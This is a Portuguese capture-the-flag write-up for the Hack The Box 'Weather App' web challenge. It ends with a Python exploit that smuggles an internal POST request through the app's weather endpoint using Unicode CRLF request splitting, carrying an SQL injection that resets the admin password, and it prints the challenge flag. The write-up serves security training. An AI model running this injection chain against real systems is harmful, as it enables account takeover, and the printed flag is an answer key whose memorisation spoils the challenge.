O desafio Weather App permite que você explore a vulnerabilidade de Server-Side Request Forgery (SSRF).
| Creator | Challenge Web | Difficulty | Points | Flag |
| makelarisjr & makelaris | Weather App | 🟢 EASY | 20 | HTB{w3lc0m3_t0_th3_p1p3_dr34m} |
| Server-Side Request Forgery (SSRF) | ||||
| OWASP | PortSwigger | CWE-918 | ||
Através do navegador acesse o IP gerado pelo HTB, neste exemplo : http://206.189.124.56:31810
Na sessão de Download Files do HTB você encontra o arquivo Weather App.zip Senha: hackthebox

Ao abrir a pasta web_weather_app\challenge, você vai encontrar o arquivo flag, mas segure a emoção pois ainda não é a flag do desafio. 😂

Conteúdo do arquivo flag

Analisando o arquivo indes.js que está na pasta Weather App\web_weather_app\challenge\routes\, podemos afirmar que o registro é realizado localmente o que nos faz pensar como realizar o SSRF na aplicação.
Outro ponto óbvio é que precisamos ser admin para realizar o acesso a /app/flag conforme descreve a rota de login.

Com base neste cenário precisamos explorar o arquivo database.js que está na pasta Weather App\web_weather_app\challenge\ em busca de informações que nos ajude a evoluir com a exploração.

No arquivo WeatherHelper.js que está na pasta Weather App\web_weather_app\challenge\helpers\ podemos entender como o endpoint funciona para iniciarmos a exploração.

Voltando ao arquivo index.js, podemos observar a rota /api/weather e é através desta rota que vamos explorar o SSRF para obter a flag.

Ao tentar acessar a rota /register é exibida as informações do SSH e a versão do Sistema Operacional.

Através do script weatherapp.py conseguimos realizar a alteração da senha do usuário admin para admin o que nos permite acesso para obter a flag.
import requests
url = "http://206.189.124.56:31810"
username="admin"
password="123') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
parsedUsername = username.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
parsedPassword = password.replace(" ","\u0120").replace("'", "%27").replace('"', "%22")
contentLength = len(parsedUsername) + len(parsedPassword) + 19
endpoint = '127.0.0.1/\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010A\u010D\u010APOST\u0120/register\u0120HTTP/1.1\u010D\u010AHost:\u0120127.0.0.1\u010D\u010AContent-Type:\u0120application/x-www-form-urlencoded\u010D\u010AContent-Length:\u0120' + str (contentLength) + '\u010D\u010A\u010D\u010Ausername='+parsedUsername + '&password='+ parsedPassword + '\u010D\u010A\u010D\u010AGET\u0120/?lol='
city='test'
country='test'
json={'endpoint':endpoint,'city':city,'country':country}
res=requests.post(url=url+'/api/weather',json=json)

Username : admin
Password : admin

Flag : HTB{w3lc0m3_t0_th3_p1p3_dr34m}
